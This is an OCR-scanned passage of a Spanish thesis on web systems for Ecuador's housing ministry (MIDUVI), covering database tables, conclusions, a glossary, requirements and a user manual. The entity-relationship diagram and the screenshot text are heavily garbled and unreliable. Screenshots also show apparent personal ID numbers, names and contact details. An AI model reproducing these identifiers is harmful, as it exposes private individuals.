Valor porcentual de avance de obra.

TABLA TBCALIFICACION

NOMBRE DEL CAMPO

DESCRIPCION

TABLA TBEMITIDO

C_CALIFICACION_COD

Cbdigo para la calificacion de postulantes.

NOMBRE DEL CAMPO

DESCRIPCION

C_CALIFICACION_PUNTAJE

Puntaje total de la calificacion.

C_EMITIDO_COD

Codigo de proyecto emitido.

C_CALIFICACION_APORTE

Aporte total del grupo familiar.

C_EMITIDO_FECHA

Fecha de emisiond de proyecto

C_CALIFICACION_INGRESO

Ingresos familiares del nucleo.

C_EMITIDO_HORA

Hora de emision de proyecto.

C_CALIFICACION_VALORBONO

Valor en délares del bono de vivienda.

C_CALIFICACION_AREAT

Area del terreno donde se contruye.

C_EMITIDO_MONTO

Monto de emesion de proyecto.

C_CALIFICACION_CALIFICA

Condicionante para saber si califica o no.

C_CALIFICACION_C_POSX

Coordenada en X, en formato WGS84.

TABLA TBADJUDICADO

C_CALIFICACION_C_POSY

Coordenada en Y, en formato WGS84.

NOMBRE DEL CAMPO

DESCRIPCION

C_CALIFICACION_C_POSZ

Coordenada en Z, en formato WGS84.

C_ADJUDICADO_COD

Codigo para proyecto adjudicado.

C_CALIFICACION_C_ALTURA

Altura del nivel del mar del proyecto.

C_ADJUDICADO_FECHA

Fecha de adjudicacion del proyecto.

C_CALIFICACION_C_ZONA

Zona segun los usos horarios del proyecto.

C_ADJUDICADO_HORA

Hora de adjudicacion del proyecto.

C_CALIFICACION_AVANCEOBRA

Porcentaje de avance de obra de cada casa.

C_ADJUDICADO_MONTO

Monto en dolares de adjudicacion.

C_CALIFICACION_ACTAPROVISIONAL

Actas provisionales para los proyectos.

C_CALIFICACION_ACTADIFINITIVA

Actas definitiva para los proyectos.

TABLA TBANULADO

TABLA

TBFISCALIZADOR

NOMBRE DEL CAMPO

DESCRIPCION

NOMBRE DEL CAMPO

DESCRIPCION

C_ANULADO_COD

Cddigo de anulaciones.

C_FISCALIZADOR_CEDULA

Numero de cédula del fiscalizador.

C_ANULADO_RAZON

Causa de anulacion del registro.

C_FISCALIZADOR_NOMBRES

Nombres del fiscalizador.

C_ANULADO_OBSERVACION

Observacion de la anulacién.

C_FISCALIZADOR_APELLIDOS

Apellidos del fiscalizador.

C_FISCALIZADOR_TELEFONO

Numero de teléfono del fiscalizador.

TABLA TBDUPLICADO

C_FISCALIZADOR_MAIL

Direccién de mail del fiscalizador.

NOMBRE DEL CAMPO

DESCRIPCION

C_FISCALIZADOR_DIRECCION

Direccidn del fiscalizador.

C_DUPLICADO_COD

Codigo para las postulaciones duplicadas.

C_FISCALIZADOR_COMPANIA

Compaiiia que pertenece el fiscalizador.

C_FISCALIZADOR_REPRESENTANTE

Nombre del representante del fiscalizador.

C_DUPLICADO_PROYECTO

Registro de poryectos duplicados.

C_FISCALIZADOR_PROVINCIA

Alcance de provincia del fiscalizador.

C_DUPLICADO_FECHAINGRESO

Fecha de insercidn del registro duplicado.

C_FISCALIZADOR_ESTADO

Estado del fiscalizador.

C_DUPLICADO_HORAINGRESO

Hora de insercidn del registro duplicado.

Figura 6.80: Diccionario de Datos (b).
Fuente: Autor de Tesis.




DISENO DE LA BASE DE DATOS

tbparentesco tbduplicado tbregion tbregionnatural
C_PARENTESCO_COD C_DUPLICADO_COD C_REGION_COD  <pi> Val C_REGIONNAT_COD <pi> Sh
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DSTRMMPS Decimal (¢ -~ -
e Decimal ( Relatioyighip_37 C_CALIFICACION_C_POSZ V| /Dé C_AVANCEOBRA_PORCENTAJE
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DSTRTCHO Decimal (€ NowrosTl
DSTROTRS Decimal (€ CEDPOS Ty IS Relationéhip_40 | C_TIPOPROYECTO_COD <pi> S
PUNTOPOS Decimal NomcorTU R C_TIPOPROYECTO_DETALLE v
PUNTOPOS1 Decimal (¢ CEDCONYU Variable C_ADJUDICADO_COD <pi> V 5.
PUNTOPOS2 Decimal (2 PROVINCIA Variable| | C-ADIUDICADO_FECHA '3“0 hip_10 tbfinanciamiento
PUNTOCON Decimal (2 CANTON Variablg] | C-ADIUDICADO_HORA i =
PUNTOCONL Decimal (3 s C_ADIUDICADO_MQNTO Y C_FINANCIAMIENTO_COD <pi>
U Decimal (& PROYECTO Variable; el C_FINANCIAMIENTO_VALOR
oiitord Decimal ¢ elatioriship_38 C_FINANCIAMIENTO_DESCRIPCION
tbzonaGeografia ) thproyecto " Q 36
tbusuario_a C_ZONA_COD <pi> 50\/62 = PROYECTONGoD = A tbaseguradora
C_USUARIO_A_COD P C ZONA DETALLE Mot a1 C_PROYECTO_NOMBRE tbpago C_ASEGURADORA_CO
C_USUARIO_A_PROVINCIA — C_PROYECTO_CALIFIDOCOD CPAGO.COD  <pi> V| | C_ASEGURADORA_DE
thestadoproy C_PROYECTO_PROVINCIA C PAGO CUR v| |C_ASEGURADORA_CO
Relatiofiship_45 C_ESTADOPROY_COD < C_PROYECTO_CANTON C_PAGO_FECHA p [C_ASEGURADORA DIF:
ro— C_ESTADOPROY_DETALLE C_PROYECTO_PARROQUIA C_PAGO_HORA T
C_ESTADOPROY_AREA iopéhip_| C_PROYECTO_ESTADO C_PAGO_MONTO D
C_USUARIO_COD <pi C_ESTADOPROY_PINMOBILIARIO C_PROYECTO_VALOR Relationghip_adRelationiship_48
C_USUARIO_USER C_PROYECTO_VALORAPORTE "
C_USUARIO_PASS totransferencia C_PROYECTO_NUMSOL thtipopoliza
C_USUARIO_CEDULA = C_PROYECTO_FECHAING C_TIPOPOLIZA_COD '
C USUARIOSNOMBRES gli::zi:gag::_gggw i ;: C PROYECTO CODIGOCARGA C_TIPOPOLIZA DESC 2 ¢ ‘bpm‘z;
CUSUARIOCARE! HIB0S C_TRANSFERENCIA_HORA Ti RelatiofEhip_39 N
C_USUARIO_FECHANAC = B N eT® 0 I . £r] C_POLIZA_NUM
C_USUARIO_MAIL C.TRANSES = : theontrato Relatignshiip_ C_POLIZA_MONTO
" C_POLIZA_FECHAINICIC
Aoy thcontratomod 7| G_CONTRATO_COD <pi tbrenovadon C_POLIZA_FECHAFIN
= = C_CONTRATO_NUM C_RENOVACION_COD C_POLIZA_DIAS
RE‘aliO/%w_ﬁ (eI IeleTk) Eo 7P S C_CONTRATO_FECHAFIRMA C_RENOVACION_FECHAINICIO| | C_POLIZA_NUMRENOV/
; C_CONTRATOMOR: RIS X C_CONTRATO_MONTO § C_RENOVACION_FECHAFIN C_POLIZA_PORCENTAJ
bfiscalizadortipo /Oé C_CONTRATO_PLAZO C_RENOVACION_ANEXO C_POLIZA_PLANILLA
C_TRANSACCION_COD C_CONTRATO_APORTEBENEFICIARIO CroLiZ
C_TRANSACCION_PROYECTO C_FISCALIZADORTIPO_COD <pi> S C_CONTRATO_FECHAANTICIPO Relatiohgnip_18 = =
C_TRANSACCION_FECHA C_FISCALIZADORTIPO_DETALLE v C_CONTRATO_FECHATERMINO
C_TRANSACCION_HORA Relauo}%mLm D/ ~Relatiqéhip_19 \
C_TRANSACCION_NUMOFICIO
C_TRANSACCION_FECHAOFICIO tbfiscalizador tbconstructor tbsupervisor
C_TRANSACCION_FECHEIES, C_FISCALIZADOR_CEDULA < C_CONSTRUCTOR_CEDULA < C_SUPERVISOR_CEDULA  <pi> Vi
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(SISO (FETARENEY C_FISCALIZADOR_APELLIDOS C_CONSTRUCTOR_APELLIDOS C_SUPERVISOR_APELLIDOS Vi
CLTRANSACCIONSOBSERVACION C_FISCALIZADOR_COMPANIA C_CONSTRUCTOR_COMPANIA C_SUPERVISOR_TELEFONO Vi
C_TRANSACCION_IP C_FISCALIZADOR_REPRESENTANTE C_CONSTRUCTOR_REPRESENTANTE C_SUPERVISOR_MAIL Vi
C_TRANSACCION_HOST C_FISCALIZADOR_TELEFONO C_CONSTRUCTOR_TELEFONO C_SUPERVISOR_DIRECCION \%

Figura 6.81: Diagrama entidad relacion de la base de datos general del modulo de control.

Fuente: Autor de tesis.
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Toda esta investigacion se realizo pensando siempre en mejorar los procesos que

maneja la institucién para brindar un mejor servicio a la gente mas necesitada. El

MIDUVI estara siempre listo y con la mejor predisposicién para brindar un servicio

de calidad, con la ayuda de nuevas aplicaciones y los avances tecnoldgicos se

pensara en un pais mas transparente y servicial.
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CONCLUSIONES

La fuente o0 recurso mas importante que maneja Yy gestiona cualquier
organizacion, empresa o institucion es la INFORMACION, la cual debe ser
protegida, custodiada, monitorizada, respaldada y asegurada en todos los
ambitos, frente a cualquier desastre o dafio que pueda poner en riesgo la

integridad de este recurso.

El desarrollo e implementaciéon de las aplicaciones web propuestas en este
proyecto, permitird al personal técnico de la institucion, un mejor control y
administracion de la informacion de los proyectos e incentivos de vivienda que

otorga el MIDUVI a los ecuatorianos mas necesitados.

El Ministerio de Desarrollo Urbano y Vivienda ofrece a las personas ecuatorianas
la posibilidad de ingresar al portal web desde cualquier parte del mundo, para
consultar si puede postular y participar del incentivo de vivienda, mediante una

interfaz amigable, rapida y confiable.

La informacién sobre la gestion y control de bonos de vivienda que se encuentra
alojada en los servidores del MIDUVI, presenta problemas de seguridad a nivel
fisico y légico. El presente proyecto presenta las mejores soluciones que
solventaran los principales problemas, y de esta forma evitar los riesgos y

amenazas que ponen en peligro la informacién existente en la institucion.

El desarrollo de las interfaces utilizando software libre, permiti6 un mayor
acoplamiento a las diferentes tecnologias de informacion que existen en la
actualidad. El gestor de base de datos MySQL vy la utilizacién del lenguaje PHP,
permiti6 implementar los diferentes médulos de consulta y control de los

proyectos de vivienda.

El resultado final del presente proyecto se refleja positivamente en las tareas y
procedimientos que permitieron incrementar la seguridad y mejoraron la gestion

de la informacion en el Ministerio de Desarrollo Urbano y Vivienda.



162

RECOMENDACIONES

La implementacion de la Virtualizacion de sistemas, seria una alternativa efectiva
para mejorar el rendimiento, productividad y seguridad de equipos que trabajan

con informacién importante y confidencial para la institucion.

Planificar talleres de capacitacion para socializar primero a las autoridades vy
luego al resto de personal de la institucion sobre las diferentes alternativas en el
desarrollo del plan de seguridad y procesamiento de informacion que se plantea, y

de esta manera poder continuar con la ejecucién del proceso.

Gestionar la aplicacion y aceptacion de convenios interinstitucionales para
acceder mediante Web Service a las bases de datos del Registro Social y
Registro Civil que ayudaran enormemente para la validacion de datos y correccion

de errores en linea.

Desarrollar planes estratégicos para la utilizacion de herramientas con software
libre, ya que reduce costos, no necesitan licencias, es de libre distribucién y lo
mas importante posee un grado alto de seguridad en todos los aspectos al
manejar formatos estandar socializados a nivel mundial, se logra formar una

comunidad que colabora para desarrollar sistemas mucho mas estables.

Contar con la infraestructura adecuada en cuanto al hardware, equipos,
servidores, etc., que brinden y garanticen un entorno de seguridad general,

primero al recurso humano y luego a la informacion asi como al espacio fisico.

Preparar y planificar capacitaciones en diferentes areas como, redes informaticas,
seguridad de datos, gestion de bases de datos, configuracion de servidores, etc.,
para que el personal técnico esté en la capacidad de solucionar la mayor cantidad
de problemas tecnoldgicos sin tener que recurrir a empresas externas que brinden

el servicio.
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ANEXO A

GLOSARIO

APACHE: Servidor de distribucion libre y de cédigo abierto, su potencialidad y
flexibilidad es muy alta, ya que puede funcionar en una amplia variedad de
plataformas y entornos.

BASES DE DATOS: Conjunto de informacion, ya sea datos o registros
pertenecientes a un mismo contexto, almacenados en algun medio para su
acceso y manipulacién de los mismos.

BONOS DE VIVIENDA: Incentivo en délares entregado por el MIDUVI, para la
realizacion de viviendas ya sea de tipo nueva, mejoramiento o terminacion.

DBA: Administrador de la base de datos, responsable de la integridad, seguridad,
recuperabilidad y disponibilidad de la informacion.

DDP: Protocolo de entrega de datagramas mediante sockets sobre redes
AppleTalk.

DPA: Divisidn Politica Administrativa regulada por el Instituto Nacional de
Estadisticas y Censos, sirve para identificar y codificar la ubicacion de un sitio
segun la provincia, cantdn y parroquia.

ETHERNET: Estandar de redes de computadoras de area local, define las
caracteristicas del cableado, sefializacion de nivel fisico y los formatos de tramas
de datos del nivel de enlace de datos del modelo OSI.

GNU/LINUX: Combinacién del nucleo o kernel libre similar a Unix denominado
Linux, con las herramientas y utilidades del proyecto GNU para formar y
desarrollar un sistema operativo completo, robusto y disponible libremente, con la
idea de software libre.

IDS: Sistema de deteccion de intrusos utilizado principalmente para detectar
accesos no autorizados

IP: Protocolo de internet, es el principal protocolo de comunicaciones utilizado
para transmitir datagramas a traveés de una interconexion de redes.

IPX: Intercambio de paquetes entre redes, es un protocolo de datagramas rapido
orientado a conexiones sin conexion.

ISP: Proveedor de Servicios de Internet.

MIDUVI: Ministerio de Desarrollo Urbano y Vivienda.



MYSQL: Sistema de gestion de bases de datos relacional, multihilo y multiusuario
desarrollado como software libre compatible con multiples sistemas.

NESSUS: Herramienta de escaneo de vulnerabilidades en varios sistemas
operativos. Una de las funcionalidades es que posee programacion de tareas.

NetBEUI: Interfaz extendida del usuario de Net Bios, es un protocolo a nivel de
red bastante sencillo utilizado como una de las capas en las primeras redes de
Microsoft. Desarrollado por IBM.

NetBios: Sistema basico de entrada /salida de red, es una interfaz para el acceso
a servicios de red. Sirve para enlazar un sistema de red con hardware especifico.

NETCAT: Herramienta de red que permite a través del intérprete de comandos
abrir o cerrar puertos TCP / UDP.

NIS: Sistema de informacion de red, nombre de un protocolo de servicios de
directorios para el envio de datos de configuracion en sistemas distribuidos.

NMAP: Programa de cddigo abierto que sirve para efectuar rastreo de puertos.

PHP: Lenguaje de programacion interpretado del lado del servidor, disefiado para
el desarrollo de paginas web dinamicas.

PROYECTOS DE VIVIENDA: Conjunto de postulaciones conformadas por un
grupo de personas que desean participar y obtener el incentivo que otorga el
MIDUVI, cumpliendo los requisitos estipulados en los reglamentos.

RS: Registro Social, conforma el Ministerio de Coordinacion y Desarrollo Social

SCANNERS: Herramientas de seguridad que poseen la capacidad de detectar los
puntos vulnerable de una red de informacién.

SISTEMA INFORMATICO: Conjunto de partes interrelacionadas con hardware,
software y recurso. Generalmente el sistema informatico engloba computadoras
gue gestionan y procesan informacion.

SNIFFERS: Programa de captura de tramas de red. Monitorea y analiza el trafico
de una red.

SPOOFING: Es la creacion de tramas TCP / IP, utilizando una IP falseada. En
otras palabras son técnicas de suplantacion de identidad para fines maliciosos.

TCP/IP: Conjunto de protocolos de red mas importantes en redes de informacion,
es la base del internet. Se compone del Protocolo de Control de Transmision y
Protocolo de Internet.



TI: Tecnologias de Informacion.

UID: Identificador de usuario, generalmente un numero positivo que lo genera el
sistema operativo.

UNIX: Sistema operativo portable, multitarea y multiusuario desarrollado en 1969
por AT&T.

WINDOWS: Nombre de una serie de sistemas operativos desarrollados por
Microsoft, iniciado y comercializado, en respuesta al creciente interés del mercado
de una interfaz grafica de usuario. En el afio 2009 fue el més popular y utilizado
por todo el mundo.



ANEXO B

ANALISIS DE REQUERIMIENTOS PARA EL DESARROLLO DE
LAS APLICACIONES

ANALISIS DE REQUERIMIENTOS.

El Ministerio de Desarrollo Urbano y Vivienda, es el Organismo del Estado
Ecuatoriano que controla, coordina y aprueba las solicitudes del bono o incentivo
de vivienda, para las personas que cumplan con requisitos preestablecidos en los

reglamentos elaborados para tal efecto.

El MIDUVI, requiere de una solucion web de consulta rapida y confiable sobre los
incentivos de vivienda que esta cartera de Estado otorga, dirigida a las personas
ecuatorianas que desean saber si son potenciales postulantes al bono de

vivienda.

El MIDUVI, requiere de una solucién web para el control y seguimiento de los
proyectos de vivienda que se entregan por parte de la institucion, dirigido a los
empleados técnicos encargados de la gestion de proyectos habitacionales.
Requerimiento General

Automatizar el proceso de consulta de bonos de vivienda para las personas que

solicitan el incentivo.

Automatizar el proceso de control y seguimiento de proyectos de vivienda para los

técnicos del MIDUVI, que estan a carga de este proceso.

Requerimientos Especificos
» Requerimientos para la Interfaz de consulta de bono de vivienda

La interfaz web a realizarse debe permitir realizar lo siguiente:

Consultar de la base de datos que posee el MIDUVI, a las personas que ya han

recibido un incentivo de vivienda, mostrando la ubicacién en donde la recibieron.

Presentar una interfaz amigable al usuario



Presentar una interfaz confiable que presente los resultados en el menor tiempo

posible.
Controlar y verificar la validez de la cédula de ciudadania que ingresa el usuario.

Presentar resultados confiables y de fuentes veraces para que los usuarios
puedan asegurar que la informacion mostrada es real.
» Requerimientos para la Interfaz de accesibilidad al bono de vivienda.

Consultar de la base de datos del Registro Social, para obtener el puntaje
socioeconémico de cada persona que ingrese a la aplicacion y de esta manera

pueda conocer si es potencial postulante al bono de vivienda.
La interfaz web a realizarse debe permitir realizar lo siguiente:
Presentar una interfaz amigable al usuario

Desarrollar una interfaz confiable que presente los resultados en el menor tiempo

posible.
Controlar y verificar la validez de la cédula de ciudadania que ingresa el usuario.

Implementar dos opciones de consulta, tanto para el sector Urbano como para el

sector Rural.

Para el sector Urbano la aplicacion debe permitir escoger el tipo de vivienda entre:

Construccion de vivienda, Adquisicion y Mejoramiento.

» Requerimientos para el Médulo de Control y Seguimiento

Desarrollar una aplicacion web que permita a los empleados técnicos encargados
de los proyectos de vivienda del sector Rural y Urbano Marginal, registrar,

controlar y gestionar el seguimiento de los mismos.

El modulo debe estar estructurado a partir de la base relacional Unica que utiliza
el MIDUVI para las postulaciones y calificaciones de personas que acceden al

bono de vivienda.



Se debe incorporar el concepto de proyecto de vivienda, como la agrupacion de
personas relacionados por un codigo de proyecto el cual se lo tomara como

referencia para los reportes que requieren las autoridades.

Implementar una interface web para el registro de anulaciones y devoluciones de

bonos de vivienda.

Implementar interfaces web que permita a los funcionarios de la Matriz del

MIDUVI revisar y aprobar el bono de vivienda.

Implementar interfaces web que permita a los funcionarios de las 24 Unidades
Técnicas Provinciales del MIDUVI gestionar el proceso del bono en las siguientes

etapas:
1. Ingreso de Contratistas y Fiscalizadores
2. Registro de Contratos de Proyectos
3. Registro de Pdlizas y Pagos.
4. Registro de Avance porcentual de la Obra

5. Registro de Actas Entrega Recepcion



ANEXO C

MANUAL DE USUARIO PARA EL MODULO DE CONTROL Y
SEGUIMIENTO DE PROYECTOS DE VIVIENDA RURAL — URBANO
MARGINAL.

Republica del Ecuador
Ministerio de Desarrollo Urbano y Vivienda

Ingreso

Iniciar

MODULO PARA EL CONTROL Y SEGUIMIENTO DE PROYECTOS

Ingrese su usuario y contrasefia

MODULO DE CONTROL Y SEGUIMIENTO DE PROYECTOS DE VIVIENDA

El médulo de control y seguimiento de proyectos de vivienda que se desarroll6,
cuenta con 2 perfiles de usuarios: uno para el técnico de Matriz y otro para el
técnico de la Unidad Provincial del MIDUVI.

1 Ingresode 1
Postulaciones
2 Callflcacu-)r\ y 2
Aprobacion
3 Programacion 3

de Recursos

Ingresode
Contratistasy 4
Fiscalizadores

|

Registrode
Contratos de 5
Proyectos

|

Registro de Pagos
y Pdlizas

|

Registrode
Avance porcentual 7
deavance de obra

Anulacidny
Devolucién

Registrode Actas
Entrega Recepcion

REIARES BNBAR PERFIL SUPERVISOR FROVINCIARESIEER
PROVINCIALES — TECNICO PROVINCIA



Como se pudo apreciar en la anterior figura, el médulo de control y seguimiento
inicia con la informacion ingresada por parte de los promotores sociales de las
unidades provinciales del MIDUVI. La columna de color naranja muestra las
opciones que estan habilitadas para el perfil del supervisor y la columna de color
celeste son las opciones que posee el perfil del técnico de provincia para el

modulo de control de proyectos de vivienda.
PERFIL SUPERVISOR - INICIO DE SESION

El inicio de sesion para el perfil supervisor se la realiza

Ingreso

ingresando un nombre de usuario asignado y una
User: 1216747116

contrasefa que se define por el administrador.

Password: ssssssssssss

Posteriormente, el usuario registrado podra cambiar la

contrasefia a una mas personalizada, si asi lo desea.

El perfil del técnico de matriz o PERFIL DEL SUPERVISOR, permite visualizar los
proyectos de vivienda que han sido ingresados previamente en las unidades

técnicas provinciales y se encuentran en estado PRECALIFICADO.

MENU DE OPCIONES PARA EL PERFIL SUPERVISOR

Anulacion - Devolucion

Anlacién - Devolucién

Seguimiento de Provectos de Vivienda

| Erisidn del Bono

| Asionacién de Becursos

Anulacion-Devolucidon

Esta accion la puede ejecutar el técnico supervisor que trabaja en la matriz del

MIDUVI, para anular y devolver bonos.

Buscar registros para anularlos en la opcion Anulacion — Devolucion.

[ cepuLa 040169409 Buscar: Este boton permite realizar la
BENEFICIARIO |

] Buscar

busqueda mediante 2 parametros.

Por niumero de cédula o por nombre.



Anular registros seleccionado en la opcion Anulacién — Devolucion.

I REGISTROS ENCONTRADOS EM BASE HISTORICA -- Total: 1 | Cam b I ar Luego de encontrar al

| Catribiar registros a: | ANULADO POR CADUCIDAD URBAMNO
| MNunero de Oficio: | MEMORANDO DPP-078-2010

|FEEha Oficio / Wemo | 20M011/01 | aaaafmmidd | Funcionario: | JC pe rmlte reglstrar |a anu IaCIOn 0

| Observaciones: |

| Cambiar devolucion.

menos un registro, este botdn

La interfaz que se presenta en la siguiente figura, muestra la busqueda por cédula
0 por nombre, si el resultado devuelve un registro se puede realizar la accion
requerida. Se completan los campos necesarios y se presiona el botén “cambiar”,
completando el proceso.

Anulaciones - Devoluciones

[ CEDULA [ 0401694509 }

[pENEFICIARIO |

] Buscar

l REGISTROS ENCONTRADOS EN BASE HISTORICA -- Total: 1 I

| Cambiar registros a | ANULADO POR CADUCIDAD URBANO v
[ Numero de Oficio: |MEMORANDO DPP-078-2010
‘Fecha Oficio / Memo: | 2010/11/01 | aaaa/mm/dd | Funcionario: Jc

[ Observaciones:

‘ Cambiar

[cEDULA | NOMBRE [cEDULAC | CONYUGE [PROVINCIA [CANTON [PROYECTO
’0401594509| POZO GALVEZ CARLOS ’0401594591 |cus|.cm|.zsmvmsmmwl>s’ CARCHI | ESPEIO ‘F‘RMLEIONZ [ @

VITELIO

Calificacion — Aprobacion.

Visualizacion de postulaciones ingresadas.

La siguiente opcion permite visualizar la interfaz del supervisor y se refiere a la

Calificacion — Aprobacion de los proyectos de vivienda.

Busqueda de proyectos que van a ser calificados y aprobados.

Seleccione Provincia: | --Seleccione—- | + | B uscar P royecto S: Este botén
Seleccione Canton: | --Seleccione-- ¢| perm Ite real |Zar |a busqueda de

proyectos por provincia y cantén.

| Buscar Proyectos ‘



Consultar proyectos de un cantdn en especifico.

Seleccione

FICHIMNCHA b

seleccione Existen 2 combo box dinamicos que permiten la
— Canton — v

— Canton — seleccion de los cantones segun la provincia
i QUITD

CATAMBE escogida.

CMEJIA,

.EEEAFI‘&A’\QBPCWO En la figura se muestra la seleccion de los cantones
15ANMIGUEL DE LOS BANCOS inei irhi i

| PEDRO VICENTE HALDONADD de la provincia de Pichincha, que fue escogida en el
FUERTO QUITO

primer combo box.

Consultar proyectos de una provincia en general.

Seleccione Para realizar la busqueda de proyectos en
PICHINCHA v _ o

celeccione una determinada provincia en la cual agrupe a
—Ganton - s todos los cantones respectivos, se debe

escoger Unicamente en el primer combo box y el segundo combo box debe

permanecer sin seleccion, como se muestra en la figura.
Aprobacién de proyectos identificados y seleccionados.

De aqui en adelante se maneja el criterio de “PROYECTQO”, que sera la reunion
de personas que van a construir sus viviendas. El proyecto puede comprender

entre 25 y 50 soluciones o beneficiarios.
En esta interfaz se debe registrar los siguientes datos:

Fecha Aprobacién: Es la fecha en la cual las autoridades dan el visto bueno para

la calificacién - aprobacion del proyecto.
Fecha Oficio: La fecha del documento habilitante de aprobacion del proyecto.
N° Oficio: Es el numero de oficio con el cual se procede al pedido.

Como se muestra en la siguiente figura, el procedimiento para aprobar un
proyecto es buscarlo, seleccionarlo y luego completar los campos adicionales,

para finalmente dar clic en el botén “Emitir Proyecto(s)”.



Seleccione Provincia:| PICHINCHA v

Seleccione Canton:| — Seleccione — v

Buscar Proyectos

[Fecha de Emision: [2010-1125 | aaaafmm/dd
Fecha de Oficio: [2010-1120 | aaaafmm/dd
N® Oficio: | OFICIO DPP-189-2010

| Emitir Proyecto(s)

[ copico [ PrRovINCIA [ canTON [ PROYECTO | MoONTO [soL [ EsTabo [[OJ
| 200909170252150 ‘ PICHINCHA | CAYAMBE ‘ SUMAK KAUSAY | 140460.00 29} CALIFICADO | v
| 200902170450188 ‘ PICHINCHA |PEDRO MONCAYO‘ PURUANTAG ’ 168420.00 40’ CALIFICADO [ ]

Esta aplicacion valida que el usuario seleccione por lo menos un registro o
proyecto de vivienda para ejecutar la accidén. Luego de la aprobacion del proyecto

ya no se podra revertir el proceso.

Emisién — Programacion de Recursos.

Visualizacion de proyectos aprobados.

En esta opcion se podra visualizar los registros de proyectos que fueron

previamente calificados — aprobados en el paso anteriormente revisado.

BUsqueda de proyectos van a ser emitidos — asignado presupuesto.

Seleccione Provincia: | --Seleccione-- ¢'| B uscar ProyeCtOS Este bOtén
Seleccione Canton: [ --Seleccione—- [ % | perm Ite real |Zar |a basqueda de

proyectos por provincia y canton.

| Buscar Proyectos ‘

Esta opcion funciona exactamente igual a la interfaz de aprobacién de proyectos.

Se puede seleccionar proyectos por provincia y por cantén.
Emision y asignacion presupuestaria de los proyectos seleccionados.

Como se muestra en la siguiente figura, esta opcion permite al supervisor registrar

la emision de uno o varios proyectos. Se debe registrar los siguientes datos.

Fecha Asignacién: Es la fecha en la cual las autoridades dan el visto bueno para

la emision — asignacion presupuestaria de proyecto.

Fecha Memo: La fecha del documento habilitante de emision del proyecto.



N° Memo: Es el numero de memorando con el cual se procede al pedido.

Seleccione Provi.ncia:‘VPIQI?HNCHA B

Seleccione Canton:| C&AMEEﬁ o |

[ Buscar Proyectos ]

Fecha Asignacion: [2010-11-28 \ aaaa/mm/dd
Fecha Memo: 2010-11-2?i aaaa/mm/dd
NMemo: | MEMORANDO DPS-098-2010

Asignar Recursos
[ copico | ProvINCIA | caNTON [ PROYECTO | MONTO [SOL [ EsTaDO [ [
’ 200909170252150 ‘ PICHINCHA l CAYAMEE ‘ SUMAK KAUSAY ’ 140460.00 29’ APROBADO

PERFIL TECNICO PROVINCIA - INICIO DE SESION

El inicio de sesidn para el perfil técnico de provincia se la

Ingreso

User:
Pacsword: contrasefa que se define por el administrador.

realiza ingresando un nombre de usuario asignado y una

Posteriormente, el usuario registrado podra cambiar la
Ingrese sl ustiario y contrasefia contrasefia a una mas personalizada, si asi lo desea.

El perfil del técnico provincial o PERFIL TECNICO, permite a los promotores
sociales, personal técnico de obra, personal financiero, contratistas vy
fiscalizadores llevar un control en el seguimiento de los proyectos de vivienda que

hayan sido emitidos y con asignacion presupuestaria.

MENU DE OPCIONES PARA EL PERFIL TECNICO PROVINCIAL

MENU SEGUIMIENTO PROVINCIAS

Constratistas v Fiscalizadores
Ingreso de Contratistas
Ingreso de Fiscalizadores

Seguimiento de Proyectos de Vivienda

Contrato de Provectos
Pago
Registro de Avance de Obra
Registro de Actas

Control de Garantias
Ingreso de Polizas




En el perfil de técnico provincia se puede realizar acciones como: Ingreso de
Contratista y Fiscalizadores, Contrato de Proyectos, Registro de Pagos y Pdlizas,

Registro de avance de obra y registro de actas.

Contratistas y Fiscalizadores

Esta opcion permite a los técnicos de las diferentes unidades provinciales del
MIDUIVI ingresar los datos de Contratista y Fiscalizadores que estaran presentes

en la ejecucién de los proyectos de vivienda.

El procedimiento para completar el ingreso de contratistas y fiscalizadores se

detalla a continuacion:

Ingreso de Contratistas Ingreso de Fiscalizadores

* Ingrese RUC | * Ingrese Cédula / RUC:| 1716747130001
2 * 1 ANDRES XAVIER
* Nombres Contratista ey P dor
2 * Apellidos Fiscalizador:| CASTELO CHAVEZ
* Apellidos Contratista
5 * Compafiia: | COPORSUP
* Compaiiia
Rep Legal: | ING. DAVID SANCHEZ
Repiciiane Togal *Tipo Fiscalizador,| O Planta © Extemo
Gl * Telefono:| 022765997
* Ingrese Mail * Ingrese Mail:| gerenteadm@coporsup.com
* Direccion Domicilio * Direccion Domicilio: | Av. Galo Plaza N23-032|
Grabar Grabar

Cédula/ RUC: Es el numero de ruc o la cedula de identidad.
Nombres Contratista: Los nombres del contratista y fiscalizador.
Apellidos Contratista: Los apellidos del contratista y fiscalizador.
Compaiiia: EI nombre de la empresa o compalfiia a la que pertenece.

Representante legal: El nombre del representante legal de la empresa o

compaifiia.
Teléfono: El nUmero de teléfono de contacto.
Direccién de Mail: La direccidon de correo electrénica de contacto.

Direccion Domicilio: La direccion donde se encuentra ubicada la compainiia.



Cabe aclarar que los campos que se encuentran sefialados con un asterisco (*),
son obligatorios y si no se completan correctamente, el ingreso de datos no sera

satisfactorio.

Sequimiento de Proyectos de Vivienda

Registro de contratos de Proyectos.

Esta opcion permite a los técnicos registrar un contrato que realiza el constructor

y el MIDUVI, en el cual se ingresa la siguiente informacion:

Tipo de contrato: Puede ser cotizacion, licitacion, menor cuantia, directa.
Numero de contrato: El nimero de contrato correspondiente al proyecto.

Plazo de contrato: El nUmero de dias del plazo contractual

Valor de contrato: El valor total del contrato.

Fechay N° de Documento de pago: Fecha y nimero del documento habilitante.
BUsqueda de proyectos a registrar contratos.

Como se muestra en la siguiente figura, la busqueda puede ser general y
especifica, si el usuario no escoge ningun canton, la aplicacion devuelve un
reporte con todos los proyectos que se encuentra en la provincia. Caso contrario

se realiza una busqueda solamente con en el canton seleccionado.

Seleccione Canton:| —Seleccione— v

[ Buscar Proyectos J

CODIGO [ cantoN [ ParrROQuUIA | PROYECTO [ MoNTO [soL | ESTADO

[ 200909170252150 | ’ CAYAMEBE l CANGAHUA ‘ SUMAK KAUSAY ‘140450.00 29| ASIGNADO RECURSOS
[ 200910170551193 | ‘RUMINAHUI 1 COTOGCHOA ’ SAN JUAN OBRERO ’l73820.00 391 ASIGNADO RECURSOS

Seleccione Canton: | CAYAMBE v

Buscar Proyectos
CODIGO [‘canton [ PaRROQUIA | PROYECTO | MoONTO [soL | ESTADO

| 200909170252150 | ‘CAYAMBE ; CANGAHUA ’ SUMAK KAUSAY ‘140450‘00 29| ASIGNADO RECURSOS



Ingreso de informacion para completar el proceso.

Para registrar un contrato se debe llenar todos los campos, tal como se muestra

en la siguiente figura.

Proyecto | 200909170252150

Tipo de Contrato

Concurso hd

® cotizacion O Licitacien O Menor ¢, O Directa

